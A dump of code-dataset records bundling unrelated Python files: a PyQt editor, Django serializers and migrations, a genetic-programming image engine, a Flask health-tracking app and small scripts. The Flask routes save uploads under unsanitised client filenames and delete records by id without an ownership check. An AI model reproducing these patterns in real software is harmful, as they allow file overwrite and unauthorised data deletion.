using QKeySequence constants\n file_menu.addAction(\n 'Open',\n self.open,\n # This uses a platform-appropriate Open shortcut:\n qtg.QKeySequence.Open\n )\n\n # Add a shortcut after the fact:\n save_act.setShortcut(qtg.QKeySequence.Save)\n file_menu.addSeparator()\n file_menu.addAction(\n 'Quit',\n self.close,\n qtg.QKeySequence.Quit\n )\n\n # ToolBar\n edit_toolbar = self.addToolBar('Edit')\n # To use an icon, add it in as the first argument\n\n copy_icon = qtg.QIcon(qtg.QPixmap('copy.svg'))\n cut_pixmap = qtg.QPixmap('cut.svg')\n undo_icon = qtg.QIcon(qtg.QPixmap('undo.svg'))\n\n qtg.QIcon.setThemeName('theme that doesnot exist')\n edit_toolbar.addAction(copy_icon, 'copy', self.textedit.copy)\n edit_toolbar.addAction(qtg.QIcon(cut_pixmap), 'cut', self.textedit.cut)\n edit_toolbar.addAction(qtg.QIcon(qtg.QPixmap('paste.svg')), 'paste', self.textedit.paste)\n edit_toolbar.addAction(qtg.QIcon.fromTheme('edit-undo', undo_icon), 'undo', self.textedit.undo)\n edit_toolbar.addAction(qtg.QIcon(qtg.QPixmap('redo.svg')), 'redo', self.textedit.redo)\n\n # Status bar\n\n self.statusBar().showMessage('Welcome to my text editor', 5000)\n\n # Dockable widget\n search_dock = qtw.QDockWidget('Search')\n self.addDockWidget(\n qtc.Qt.RightDockWidgetArea,\n search_dock\n )\n # You can prevent a dock from floating, closing\n # Or moving by leaving out any of these items:\n search_dock.setFeatures(\n qtw.QDockWidget.DockWidgetClosable |\n qtw.QDockWidget.DockWidgetMovable |\n qtw.QDockWidget.DockWidgetFloatable\n )\n\n search_widget = SearchWidget()\n search_dock.setWidget(search_widget)\n search_widget.submitted.connect(self.search)\n\n self.show()\n\n def save(self):\n text = self.textedit.toPlainText()\n filename, _ = qtw.QFileDialog.getSaveFileName()\n if filename:\n with open(filename, 'w') as handle:\n handle.write(text)\n self.statusBar().showMessage(f'Saved to {filename}')\n\n def open(self):\n filename, _ = qtw.QFileDialog.getOpenFileName()\n if filename:\n with open(filename, 'r') as handle:\n text = handle.read()\n self.textedit.clear()\n self.textedit.insertPlainText(text)\n self.textedit.moveCursor(qtg.QTextCursor.Start)\n self.statusBar().showMessage(f'Editing {filename}')\n\n def search(self, term, case_sensitive=False):\n if case_sensitive:\n cur = self.textedit.find(\n term,\n qtg.QTextDocument.FindCaseSensitively\n )\n else:\n cur = self.textedit.find(term)\n if not cur:\n self.statusBar().showMessage('No matches Found', 2000)\n\n\nif __name__ == '__main__':\n app = qtw.QApplication(sys.argv)\n mw = MainWindow()\n sys.exit(app.exec())\n","sub_path":"PyQtIconsAndImages/texteditor.py","file_name":"texteditor.py","file_ext":"py","file_size_in_byte":5021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"78562085","text":"from tapis_cli.display import Verbosity\nfrom tapis_cli.search import Argdef, argmod, argtype, optionize\n\n__all__ = ['TapisModel']\n\n\nclass TapisModel(object):\n \"\"\"Base class for Tapis models\n \"\"\"\n\n SEARCH_ARGS = []\n service_id_type = 'Unknown'\n\n format_many = False\n payload = {}\n fields = []\n\n def add_field(self,\n param_name,\n param_type,\n only_detail,\n mods_allowed,\n default_mod,\n value_choices=None,\n param_opt=None,\n searchable=False):\n \"\"\"Add a searchable field\n \"\"\"\n arg = Argdef(param_name, param_type, only_detail, mods_allowed,\n default_mod, value_choices, param_opt, searchable)\n if arg not in self.fields:\n self.fields.append(arg)\n return self\n\n def add_fields(self, fields):\n \"\"\"Bulk add multiple searchable fields\n \"\"\"\n for f in fields:\n self.add_field(*f)\n return self\n\n def get_args(self, list_only=False):\n pass\n\n @classmethod\n def optionize(cls, text_string):\n \"\"\"Render a field name as an option\n \"\"\"\n return optionize(text_string)\n\n @classmethod\n def argify(cls, arg_name, arg_type, arg_help=None):\n pass\n\n def __init__(self):\n self.add_fields(self.SEARCH_ARGS)\n\n def get_headers(self, verbosity_level=None, formatter='table'):\n if verbosity_level is None:\n verbosity_level = Verbosity.LISTING\n headers = list()\n for f in self.fields:\n # print('{}: {}> = {}'.format(f, verbosity_level, f.verbosity))\n if verbosity_level >= f.verbosity:\n if argtype.format_allows_param_type(f, formatter):\n headers.append(f.param_name)\n return headers\n\n @classmethod\n def render_key_value(cls, key, value):\n \"\"\"Overridable function to how JSON key/values should be transformed\n \"\"\"\n return key, value\n\n @classmethod\n def transform_response(cls, response_json):\n \"\"\"Apply an intermediate transform to a JSON document\n \"\"\"\n transformed = dict()\n for k, v in response_json.items():\n k1, v1 = cls.render_key_value(k, v)\n transformed[k1] = v1\n return transformed\n","sub_path":"tapis_cli/commands/taccapis/__model.py","file_name":"__model.py","file_ext":"py","file_size_in_byte":2376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"544962412","text":"# -*- coding: utf-8 -*-\n\nfrom rest_framework import serializers\n\nfrom admin_app.market.looks.models import Look\nfrom admin_app.market.looks.models import LookArea\nfrom .products import ProductSerializer\nfrom ..core import ContentSerializer\nfrom ..serializers import AlternativeSerializerMixin\nfrom ..serializers import DynamicFieldsModelSerializer\n\n\nclass LookAreaSerializer(\n AlternativeSerializerMixin,\n serializers.ModelSerializer\n):\n product = ProductSerializer(fields=ProductSerializer.Meta.list_fields)\n\n class Meta:\n model = LookArea\n fields = (\n 'id',\n 'x',\n 'y',\n 'width',\n 'height',\n 'product',\n )\n\n\nclass LookSerializer(DynamicFieldsModelSerializer, ContentSerializer):\n areas = LookAreaSerializer(many=True, read_only=True)\n\n class Meta:\n model = Look\n fields = ContentSerializer.Meta.fields + (\n 'gender',\n 'price',\n 'areas',\n )\n list_fields = (\n 'id',\n 'title',\n 'text',\n 'slug',\n 'main_image',\n 'gender',\n 'price',\n )\n alternative = {\n 'params': {\n 'read_only': True,\n 'lookup_field': 'slug',\n 'view_name': 'look-detail',\n }\n }\n","sub_path":"src/face_full/api_v1/serializers/market/looks.py","file_name":"looks.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"654364063","text":"import csv\nimport datetime\nimport math\nimport random\nimport sys\nimport argparse\nfrom collections import Counter\nimport imageio\nimport pickle\n\nimport numpy as np\nfrom fitness_utils.fitness import get_fitness, get_image_fitness, get_classifier_fitness\nfrom genetic_components.genetic_operators import (crossover, gen_rnd_expr,\n mutation,\n tournament_selection)\n\nexperiment_time = datetime.datetime.now()\nfunction_set = {\n 'abs',\n 'add',\n 'and', \n 'cos', \n 'div', \n 'exp', \n 'if',\n 'log',\n 'max',\n 'mdist',\n 'min',\n 'mod',\n 'mult',\n 'neg',\n 'or',\n 'pow',\n 'scalarT',\n 'scalarV',\n 'sign',\n 'sin',\n 'sqrt',\n 'sub',\n 'tan',\n 'warp',\n 'xor',\n}\nterminal_set = set() \n\nfor i in range(255):\n# terminal_set.add(i)\n terminal_set.add('x')\n terminal_set.add('y')\n\ndef initialize_population(population_size, fitness_func, image_size, image_to_fit):\n population = []\n for individual in range(population_size):\n depth_check = 0\n channel_trees = []\n for tree_number in range(4):\n while depth_check == 0:\n tree_size = int(random.random() * 4) + 1\n tree = gen_rnd_expr(function_set, terminal_set, tree_size, 'ramped half-and_half')\n depth_check = tree.get_depth()\n channel_trees.append(tree)\n individual_result = []\n red_tree = channel_trees[0]\n green_tree = channel_trees[1]\n blue_tree = channel_trees[2]\n alpha_tree = channel_trees[3]\n population.append({'channel_trees': channel_trees, 'fitness': fitness_func(x_size=image_size[0], y_size=image_size[1], red_tree=red_tree,green_tree=green_tree, blue_tree=blue_tree, alpha_tree=alpha_tree, current_individual=individual, current_generation=-1, image_to_fit=image_to_fit)})\n return population\n\n\ndef engine(population_size, generation_number, tournament_size, mutation_rate, crossover_rate, image_size, seed, image_to_fit=None, resume_file=None):\n engine_state = {\n 'population_size': population_size, \n 'generation_number': generation_number,\n 'tournament_size': tournament_size,\n 'mutation_rate': mutation_rate,\n 'crossover_rate': crossover_rate,\n 'image_size': image_size,\n 'seed': seed,\n 'image_to_fit': image_to_fit,\n 'population': [],\n 'current_generation': 1,\n }\n fitness_func = None\n lines = []\n lines.append(['seed', 'gen_number', 'best_fitness', 'best_individual', 'biggest_tree_depth', 'best_red', 'best_green', 'best_blue', 'best_alpha'])\n current_generation = 1\n if image_to_fit is None:\n fitness_func = get_classifier_fitness\n else:\n fitness_func = get_image_fitness\n if resume_file == None:\n population = initialize_population(population_size, fitness_func, image_size, image_to_fit)\n else:\n with open(resume_file, 'rb') as dump_file:\n engine_state = pickle.load(dump_file)\n current_generation = engine_state['current_generation']\n population = engine_state['population']\n print(\"Finished Generating\")\n best = {'fitness': float('inf')}\n try:\n while current_generation < generation_number:\n engine_state['population'] = population\n engine_state['current_generation'] = current_generation\n new_population = []\n new_population.append(best)\n max_tree_depth = 0\n if current_generation % 100 == 0:\n immigrants = initialize_population(population_size, fitness_func, image_size, image_to_fit)\n population.extend(immigrants)\n foo = random.sample(population, population_size)\n population = foo\n for current_individual in range(population_size - 1):\n individual_result = []\n child = [0,0,0,0] \n max_child_depth = 0\n for current_tree in range(4):\n member_depth = float('inf')\n while member_depth > 17:\n if random.random() < crossover_rate:\n parent_1 = tournament_selection(tournament_size, population)\n parent_2 = tournament_selection(tournament_size, population)\n child[current_tree] = crossover(parent_1['channel_trees'][current_tree], parent_2['channel_trees'][current_tree])\n elif random.random() < crossover_rate + mutation_rate:\n parent = tournament_selection(tournament_size, population)\n child[current_tree] = mutation(parent['channel_trees'][current_tree], function_set=function_set, terminal_set=terminal_set)\n else:\n parent = tournament_selection(tournament_size, population)\n child[current_tree] = parent['channel_trees'][current_tree]\n member_depth = child[current_tree].get_depth() \n tree_string = child[current_tree].get_string()\n if member_depth > max_child_depth:\n max_child_depth = member_depth \n new_member = {}\n new_member = {'channel_trees': child, 'fitness': fitness_func(red_tree=child[0],green_tree=child[1], blue_tree=child[2], alpha_tree=child[3], current_individual=current_individual, current_generation=current_generation, x_size= image_size[0], y_size= image_size[1], best_fit=best['fitness'], image_to_fit=image_to_fit), 'depth': max_child_depth}\n if new_member['fitness'] < best['fitness']:\n best = new_member\n best['result'] = individual_result\n if max_tree_depth < max_child_depth:\n max_tree_depth = max_child_depth\n new_population.append(new_member)\n lines.append([str(seed), str(current_generation), str(best['fitness']), best['depth'], max_tree_depth, best['channel_trees'][0].get_string(),best['channel_trees'][1].get_string(),best['channel_trees'][2].get_string(),best['channel_trees'][3].get_string()])\n print(\"###SEED \" + str(seed) + \" GENERATION \" + str(current_generation) + \" REPORT###\")\n print(\"BEST DEPTH: \" + str(best['depth']))\n print(\"BEST FITNESS: \" + str(best['fitness']))\n print(\"MAX DEPTH: \" + str(max_tree_depth))\n print(\"BEST STRINGS: \\n\\t\" + best['channel_trees'][0].get_string() + '\\n\\t' + best['channel_trees'][1].get_string() + '\\n\\t' + best['channel_trees'][2].get_string() + '\\n\\t' + best['channel_trees'][3].get_string())\n population = new_population\n with open('logs/' + str(experiment_time) + '_fitness_results.csv', 'a') as writeFile:\n writer = csv.writer(writeFile)\n writer.writerows(lines)\n lines = []\n current_generation += 1\n except Exception as e:\n print('Exception: '+ str(e))\n #with open('dumps/' + str(experiment_time) + '_dumps', 'ab') as dump_file:\n with open('dumps/latest_dump', 'ab') as dump_file:\n pickle.dump(engine_state, dump_file)\n print(\"Saved state!\")\n return True\n \ndef main():\n engine(100, 100, 3, 0.2, 0.9, [1024,1024], 0)\n\nif __name__ == \"__main__\":\n \"\"\" Main function worker \"\"\"\n parser = argparse.ArgumentParser(\n description=\"Evolutionary Algorithm for Image Generation\")\n parser.add_argument(\n dest=\"population_size\",\n )\n parser.add_argument(\n dest=\"generation_number\",\n )\n parser.add_argument(\n dest=\"tournament_size\")\n parser.add_argument(\n dest=\"mutation_rate\")\n parser.add_argument(\n dest=\"crossover_rate\")\n parser.add_argument(\n help=\"Example of the expected format 256x256\",\n dest=\"image_size\")\n parser.add_argument(\n dest=\"seed\")\n\n args = parser.parse_args()\n\n random.seed(int(args.seed))\n image_resolution = args.image_size.split('x')\n engine(\n int(args.population_size),\n int(args.generation_number),\n int(args.tournament_size),\n float(args.mutation_rate),\n float(args.crossover_rate),\n [int(image_resolution[0]), int(image_resolution[1])],\n int(args.seed)\n )\n","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":8470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"646639163","text":"from flask import Blueprint\nfrom flask import render_template, url_for, redirect, flash, request, abort, session,\\\n Response, current_app, send_from_directory\nfrom whatSticksWebApp import db, bcrypt, mail\nfrom whatSticksWebApp.models import User, Post, Health_description, Health_measure\nfrom flask_login import login_user, current_user, logout_user, login_required\nimport secrets\nimport os\nfrom datetime import datetime, date, time, timedelta\nimport datetime\nfrom sqlalchemy import func, desc\nimport pandas as pd\nimport json\nimport zipfile\nfrom whatSticksWebApp.main.utils import json_dict_to_dfs, plot_text_format, chart_scripts, get_user_tz_util\nfrom bokeh.plotting import figure, output_file\nfrom bokeh.embed import components\nfrom bokeh.resources import CDN\nfrom bokeh.io import curdoc\nfrom bokeh.themes import built_in_themes\nfrom bokeh.models import ColumnDataSource, Grid, LinearAxis, Plot, Text\nimport pytz\nimport zoneinfo\nfrom pytz import timezone\nimport time\n\nmain = Blueprint('main', __name__)\n\n# @main.route('/get_post_json', methods=['POST'])\n# def get_post_json(): \n # data = request.get_json()\n # data2=request.args\n # print('here',data2, data)\n # return jsonify(status=\"success\", data=data)\n\n@main.route(\"/dashboard\", methods=[\"GET\",\"POST\"])\n@login_required\ndef dashboard():\n\n user_tz = get_user_tz_util()\n default_date=datetime.datetime.now().astimezone(user_tz).strftime(\"%Y-%m-%d\")\n default_time=datetime.datetime.now().astimezone(user_tz).strftime(\"%H:%M\")\n \n #filter on user data only\n base_query_health_description=db.session.query(Health_description).filter(Health_description.user_id==1)#1 is OK it get's replaced\n \n if current_user.id==2:\n df_health_description=pd.read_sql(str(base_query_health_description)[:-1]+str(1),db.session.bind)\n else:\n df_health_description=pd.read_sql(str(base_query_health_description)[:-1]+str(current_user.id),db.session.bind)\n \n if len(df_health_description)>0:\n script1, div1=chart_scripts(df_health_description)\n cdn_js=CDN.js_files\n cdn_css=CDN.css_files\n else:\n div1=None;script1=None;cdn_js=None;cdn_css=None\n\n #Timle line table\n column_names=['ID','Date and Time','Type of Activity','Cardio Performance','Duration (seconds)','Weight']\n \n df_sub=df_health_description[['id', 'datetime_of_activity', 'var_activity','metric1_carido',\n 'metric2_session_duration','metric3']].copy()\n df_sub.datetime_of_activity=df_sub['datetime_of_activity'].astype('datetime64[ns]')\n df_sub.datetime_of_activity=pd.to_datetime(df_sub[\"datetime_of_activity\"].dt.strftime('%m/%d/%Y %H:%M'))\n df_sub.metric1_carido=df_sub.metric1_carido.round(2)\n df_sub.metric2_session_duration=df_sub.metric2_session_duration.astype('Int64')\n df_sub.metric2_session_duration=df_sub.metric2_session_duration.apply('{:,}'.format)\n df_sub.metric2_session_duration=df_sub.metric2_session_duration.str.replace('','')\n df_sub=df_sub.where(pd.notnull(df_sub), '')\n df_sub=df_sub.sort_values(by=['datetime_of_activity'],ascending=False)\n table_lists=df_sub.values.tolist()\n \n \n if len(table_lists)==0:\n no_hits_flag=True\n else:\n no_hits_flag=False\n\n if request.method == 'POST':\n formDict = request.form.to_dict()\n print('formDict::::',formDict)\n if formDict.get('submit_activity'):\n\n activity_date=formDict.get('activity_date')\n activity_time=formDict.get('activity_time')\n\n # activity_date_weight=formDict.get('activity_date_weight')\n # activity_time_weight=formDict.get('activity_time_weight')\n \n var_activity=formDict.get('var_activity')\n activity_notes=formDict.get('activity_notes')\n metric3=formDict.get('metric3_weight')\n \n return redirect(url_for('main.add_activity', activity_date=activity_date,activity_time=activity_time,\n # activity_date_weight=activity_date_weight,activity_time_weight=activity_time_weight,\n metric3=metric3,var_activity=var_activity, activity_notes=activity_notes))\n\n \n elif formDict.get('submit_upload_health')=='True':\n return redirect(url_for('main.upload_health_data'))\n \n elif formDict.get('delete_record_id'):\n delete_record_id=formDict.get('delete_record_id')\n return redirect(url_for('main.delete_record', delete_record_id=delete_record_id))\n\n \n return render_template('dashboard.html', div1=div1, script1=script1, cdn_js=cdn_js, cdn_css=cdn_css,\n default_date=default_date, default_time=default_time, table_data=table_lists, no_hits_flag=no_hits_flag,\n len=len,column_names=column_names)\n\n\n@main.route(\"/delete_record\",methods=[\"GET\",\"POST\"])\n@login_required\ndef delete_record():\n delete_record_id=request.args.get('delete_record_id')\n print('delete_record_id:::',delete_record_id)\n db.session.query(Health_description).filter(Health_description.id==delete_record_id).delete()\n db.session.query(Health_measure).filter(Health_measure.description_id==delete_record_id).delete()\n db.session.commit()\n return redirect(url_for('main.dashboard'))\n\n@main.route(\"/add_activity\",methods=[\"GET\",\"POST\"])\n@login_required\ndef add_activity():\n print('add_activity--requests:::',request.args)\n \n user_tz = get_user_tz_util()\n \n #convert this date time to utc\n date_time_obj_unaware = datetime.datetime.strptime(request.args.get('activity_date')+request.args.get('activity_time'), '%Y-%m-%d%H:%M')\n date_time_obj_aware=user_tz.localize(date_time_obj_unaware)\n timezone_offset = date_time_obj_aware.utcoffset().total_seconds()/60\n\n timezone_offset=request.args.get('timezone_offset')\n weight=request.args.get('metric3')\n var_activity=request.args.get('var_activity')\n activity_notes=request.args.get('activity_notes')\n\n \n # var_timezone_utc_delta_in_mins get this by using the: cur_zone_time.utcoffset().total_seconds()/60\n if weight:\n # print('if weight.....', weight)\n update_activity=Health_description(datetime_of_activity=date_time_obj_aware,var_type='Weight',var_activity='Weight',\n var_timezone_utc_delta_in_mins=timezone_offset, user_id=current_user.id,source_filename='web application',\n metric3=weight)\n # print('update_activity::::', update_activity)\n elif not activity_notes:\n # print('not activity_notes')\n update_activity=Health_description(datetime_of_activity=date_time_obj_aware,var_type='Activity',\n var_timezone_utc_delta_in_mins=timezone_offset, user_id=current_user.id,source_filename='web application',\n var_activity=var_activity)\n else:\n update_activity=Health_description(datetime_of_activity=date_time_obj_aware,var_type='Activity',\n var_timezone_utc_delta_in_mins=timezone_offset, user_id=current_user.id,source_filename='web application',\n var_activity=var_activity, note=activity_notes)\n db.session.add(update_activity)\n db.session.commit()\n return redirect(url_for('main.dashboard'))\n # return render_template('dashboard.html', div1=div1, script1=script1, cdn_js=cdn_js, cdn_css=cdn_css,\n # default_date=default_date, default_time=default_time)\n\n\n\n@main.route(\"/upload health data\", methods=[\"GET\",\"POST\"])\n@login_required\ndef upload_health_data():\n\n if request.method == 'POST':\n print('POST method')\n formDict = request.form.to_dict()\n filesDict = request.files.to_dict()\n print('formDict:::', formDict)\n print('filesDict:::', filesDict)\n if formDict.get('upload_file_button'):\n # print(dir(filesDict.get('uploaded_file')))\n # print('filename:::',filesDict.get('uploaded_file').filename)\n if filesDict.get('uploaded_file').filename=='':\n flash(f'File not selected', 'warning')\n return redirect(url_for('main.upload_health_data'))\n \n print('upload button pressed')\n #save file \n uploaded_file = request.files['uploaded_file']\n current_files_dir=os.path.join(current_app.config['UPLOADED_FILES_FOLDER'])\n uploaded_file.save(os.path.join(current_files_dir,uploaded_file.filename))\n \n #TODO: polar upload should be a utility of its own. Code should\n #look in json files and pull heart rate by second, distance and speed.\n #right now ***too much hard coded stuff in json_dict_to_df_dict***\n \n #get files to json dict\n polar_zip=zipfile.ZipFile(os.path.join(current_app.config[\n 'UPLOADED_FILES_FOLDER'], uploaded_file.filename))\n \n polar_data_dict={}\n for i in polar_zip.filelist:\n polar_data_dict[i.filename]=json.loads(polar_zip.read(i.filename))\n \n #get files to df dict\n df_description,df_measure=json_dict_to_dfs(polar_data_dict)\n session_count=len(df_description)\n \n #put data into tables\n df_description.to_sql('health_description',db.engine, if_exists='append',index=False)\n df_measure.to_sql('health_measure',db.engine, if_exists='append',index=False)\n \n flash(f'Files uploaded ' + str(session_count) +' new sessions', 'success')\n return redirect(url_for('main.upload_health_data'))\n \n \n \n \n return render_template('upload_health_data.html')\n \n \n \n \n \n \n ","sub_path":"whatSticksWebApp/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":9694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"15167230","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Employee',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('classification', models.CharField(default=b'Attorney', max_length=10, choices=[(b'Support', b'Support Staff'), (b'Attorney', b'Attorney')])),\n ('default_Bill_Rate', models.SmallIntegerField()),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"employees/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"304323548","text":"#!/usr/bin/env python\n\nu\"\"\".\nsplit your dataset into train and val\n\"\"\"\n\nimport os\nimport glob\nimport random\nimport sys\nsys.path.remove('/opt/ros/kinetic/lib/python2.7/dist-packages')\nimport cv2\n\nt_img_list = glob.glob(\"t/*.jpg\")\nf_img_list = glob.glob(\"f/*.jpg\")\n\n\nos.makedirs(\"splited_data\", exist_ok=True)\nos.makedirs(\"splited_data/train/t\", exist_ok=True)\nos.makedirs(\"splited_data/train/f\", exist_ok=True)\nos.makedirs(\"splited_data/val/t\", exist_ok=True)\nos.makedirs(\"splited_data/val/f\", exist_ok=True)\n\n\nfor filepath in t_img_list:\n img_name = os.path.basename(filepath)\n print(img_name)\n img = cv2.imread(filepath)\n rand = random.random()\n if(rand > 0.1):\n cv2.imwrite(\"splited_data/train/t/\" + img_name, img)\n else:\n cv2.imwrite(\"splited_data/val/t/\" + img_name, img)\n\nfor filepath in f_img_list:\n img_name = os.path.basename(filepath)\n print(img_name)\n img = cv2.imread(filepath)\n rand = random.random()\n if(rand > 0.1):\n cv2.imwrite(\"splited_data/train/f/\" + img_name, img)\n else:\n cv2.imwrite(\"splited_data/val/f/\" + img_name, img)\n","sub_path":"split_dataset.py","file_name":"split_dataset.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"395351489","text":"import re\n\nwith open(\"6.txt\", 'r') as f:\n insts = f.readlines()\n\ngrid = [[0]*1000 for i in range(1000)]\n\nfor inst in insts:\n boundaries = re.findall(\"\\d+\", inst)\n x, y, X, Y = [int(boundary) for boundary in boundaries]\n for j in range(y, Y+1):\n for i in range(x, X+1):\n if \"on\" in inst:\n grid[j][i] = 1\n elif \"off\" in inst:\n grid[j][i] = 0\n else:\n if grid[j][i]:\n grid[j][i] = 0\n else:\n grid[j][i] = 1\n\nprint(sum(sum(row) for row in grid))\n","sub_path":"2015/06/6-1.py","file_name":"6-1.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"528339232","text":"n = int(input())\r\nvo = []\r\nlas = ''\r\nd = {}\r\nfor i in range(n):\r\n n = input()\r\n try:\r\n b = d[n]\r\n v = 2\r\n if i%2==0:\r\n v = 1\r\n vo.append(v)\r\n except:\r\n if las !='' and las[-1]!=n[0]:\r\n v = 2\r\n if i%2==0:\r\n v = 1\r\n vo.append(v)\r\n d[n] = 1\r\n las = n\r\nif vo==[]:\r\n print('Fair Game')\r\nelse:\r\n print(f'Player {vo[0]} lost')","sub_path":"shiritori.py","file_name":"shiritori.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"258468606","text":"from Particle import *\nimport pygame as pg\nfrom Constants import *\n\ndef render():\n\n pg.init()\n window = pg.display.set_mode((WIDTH, HEIGHT))\n\n particles = []\n keys = {\n pg.K_KP_MINUS: False,\n pg.K_KP_PLUS: False,\n pg.K_ESCAPE: False\n }\n\n for i in range(0, PARTICULATES):\n particles.append(Particle())\n\n zoom = 1.0\n\n while True:\n pg.display.flip()\n window.fill((0, 0, 0))\n window.lock()\n for particle in particles:\n if not particle._merged:\n # for the non-merged particles, draw a circle based on their radii\n # considering the zoom factor\n pg.draw.circle(window, (255, 255, 255),\n (int(HWIDTH + zoom * HWIDTH * (particle._position[0] - HWIDTH) / HWIDTH),\n int(HHEIGHT + zoom * HHEIGHT * (particle._position[1] - HHEIGHT) / HHEIGHT)),\n int(particle._radius * zoom), 0)\n window.unlock()\n while True:\n # This block updates the state of whether a key has been pressed\n event = pg.event.poll()\n if event.type == pg.NOEVENT:\n break\n elif event.type in [pg.KEYDOWN, pg.KEYUP]:\n keys[event.key] = event.type == pg.KEYDOWN\n\n # Update the positions and speeds of the particles\n for p1 in particles:\n if p1._merged:\n continue\n p1._resetAcceleration()\n for p2 in particles:\n if p1 is p2 or p2._merged:\n continue\n p1._updateAcceleration(p2)\n p1._updatePosition()\n\n # Conservation of total momentum; merge the particles that touch\n # using elastic collisions\n for p1 in particles:\n if p1._merged:\n continue\n for p2 in particles:\n if p1 is p2 or p2._merged:\n continue\n if Particle._contact(p1, p2):\n if p1._mass < p2._mass:\n p1, p2 = p2, p1\n p2._merged = True\n\n p1._mass += p2._mass\n p1._setRadius()\n p1._newVelocity(p1, p2)\n\n if keys[pg.K_KP_PLUS]:\n zoom += 0.1\n if keys[pg.K_KP_MINUS]:\n zoom -= 0.1\n if keys[pg.K_ESCAPE]:\n break\n if event.type == pg.NOEVENT:\n pg.time.wait(10)","sub_path":"src/Render.py","file_name":"Render.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"165457797","text":"# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n# -*- coding: utf-8 -*-\nimport os.path as op\nfrom nipype.interfaces.base import CommandLine, traits, TraitedSpec, File, Directory, CommandLineInputSpec, Undefined\nfrom nipype.interfaces.mrtrix3.base import MRTrix3BaseInputSpec, MRTrix3Base\n\nclass fod2fixelInputSpec(MRTrix3BaseInputSpec):\n in_file = File(\n exists=True, argstr=\"%s\", position=-5, mandatory=True, desc=\"input dwi image\"\n )\n #out_file is a folder\n out_file = Directory(argstr=\"%s\", usedefault=True, mandatory=True, position=-4, desc=\"output folder\")\n fmls_peak_value = traits.Float(\n argstr=\"-fmls_peak_value %d\", desc=\"any lobe with a maximal peak amplitude smaller than this threshold will be discarded\"\n )\n \n fmls_integral = traits.Float(\n argstr=\"-fmls_integral %f\", desc=\"any lobe with an integral smaller than this threshold will be discarded\"\n )\n afd_file = File(\n usedefault=True, argstr=\"-afd %s\", position=-3, \n desc=\"output the total Apparent Fibre Density per fixel (integral of FOD lobe)\"\n )\n peak_file = File(\n usedefault=True, argstr=\"-peak_amp %s\", position=-2, \n desc=\"output the amplitude of the FOD at the maximal peak per fixel\"\n )\n disp_file = File(\n usedefault=True, argstr=\"-disp %s\", position=-1, \n desc=\"output a measure of dispersion per fixel as the ratio between FOD lobe integral and maximal peak amplitude\"\n )\n\nclass fod2fixelOutputSpec(TraitedSpec):\n out_file = File(argstr=\"%s\", desc=\"output image\")\n afd_file = File(argstr=\"-afd %s\", desc=\"output AFD file\")\n peak_file = File(argstr=\"-peak_amp %s\", desc=\"output peak amplitude file\")\n disp_file = File(argstr=\"-disp %s\", desc=\"output fixel dispersion file\")\n\nclass fod2fixel(MRTrix3Base):\n \"\"\"\n Perform segmentation of continuous Fibre Orientation Distributions \n (FODs) to produce discrete fixels\n Example\n -------\n >>> fod2Fixel.inputs.in_file = 'wmfod.mif' \n >>> fod2Fixel.inputs.fmls_peak_value = 0\n >>> fod2Fixel.inputs.fmls_integral = 0.1\n >>> fod2fixel.cmdline \n 'fod2Fixel wmfod.mif -fmls_peak_value 0 -fmls_integral 0.1 -afd afd,mif -peak_amp peak.mif -disp disp.mif\n >>> fod2Fixel.run() \n \"\"\"\n _cmd = \"fod2fixel\"\n input_spec = fod2fixelInputSpec\n output_spec = fod2fixelOutputSpec\n\n def _list_outputs(self):\n outputs = self.output_spec().get()\n outputs[\"out_file\"] = op.abspath(self.inputs.out_file)\n if self.inputs.afd_file != Undefined:\n outputs[\"afd_file \"] = op.abspath(self.inputs.afd_file )\n if self.inputs.peak_file != Undefined:\n outputs[\"peak_file\"] = op.abspath(self.inputs.peak_file)\n if self.inputs.disp_file != Undefined:\n outputs[\"disp_file\"] = op.abspath(self.inputs.disp_file)\n return outputs \n\n ","sub_path":"fod2fixel_function.py","file_name":"fod2fixel_function.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"282562252","text":"from django.urls import path\nfrom . import views\nfrom django.conf.urls import url\n\nurlpatterns = [\n path(\"\",views.home, name=\"home\"),\n path(\"home\",views.home, name=\"home\"),\n path(\"vehicles//\",views.vehicles, name=\"vehicles\"),\n path(\"create_rent//\", views.create_rent, name='create_rent'),\n path(\"rent_details\",views.rent_details,name='rent_details'),\n path(\"rented_successfully\",views.rented_successfully,name='rented_successfully'),\n path(\"admin_dash\",views.admin_dash,name='admin_dash'),\n path(\"add_cars\",views.add_cars,name='add_cars'),\n 